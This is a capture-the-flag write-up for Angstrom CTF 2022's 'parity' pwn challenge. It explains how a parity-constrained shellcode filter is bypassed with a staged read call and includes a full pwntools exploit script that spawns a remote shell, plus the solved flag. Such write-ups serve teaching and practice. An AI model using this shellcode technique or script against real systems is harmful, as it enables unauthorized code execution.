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[Pwn] parity [Angstrom CTF 2022]

0x0 Introduction

Check your parity.

nc challs.actf.co 31226

Author: JoshDaBosh

files: parity

0x1 Mitigation

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Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

0x2 Vulnerability

basically, the main function ask us to enter a shellcode, then it will execute this shellcode. however the shellcode must satisfy a parity.

according to the program, the last bit of each byte in the shell must equal 0 or 1 depending on the index.

More specifically, for nth byte in the shell code, if the n is even, this byte must be even, if the n is odd, this byte must be odd.

It is not possible to construct syscall('/bin/sh') shellcode that satisfy this parity. But we can call read in our shellcode and then write syscall('/bin/sh') shellcode using read function.

  1. construct a shellcode satisfy parity that calls read,
  2. enter /bin/sh shellcode
  3. get shell

0x3 Exploit

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from pwn import *

exe = ELF("parity")
# libc = ELF("libc.so.6")
# ld = ELF("./ld-2.27.so")

context.binary = exe
# context.log_level = 'DEBUG'

def start():
    if args.LOCAL:
        r = process([exe.path])
        if args.R2:
            input("Wait r2 attach")
    else:
        r = remote("challs.actf.co", 31226)
    return r

def check_parity(shellcode):
    for index,b in enumerate(shellcode):
        print(index,b,b & 1,(index - (index >> 0x1f) & 1) +(index >> 0x1f))
        if (b & 1) != (index - (index >> 0x1f) & 1) +(index >> 0x1f):
            return False
    return True


io = start()

shellcode = '''
    mov rdx, 0x00011001
    mov ebx, 0x014011f0
    nop
    push rbx
    pop rax
    xor eax, 0x01000100
    nop
    call rax
'''
shell_sh = asm(shellcode)
with open("shelcd","wb") as f:
    f.write(shell_sh)
for index,b in enumerate(shell_sh):
    print(hex(b),b&1,index % 2)
print(check_parity(shell_sh))

io.sendafter(b"> ",shell_sh)
input("get shell")
io.send(shell_sh+asm(shellcraft.sh()))

io.interactive()

0x4 Flag

actf{f3els_like_wa1king_down_4_landsl1de_6d28d72fd7db}

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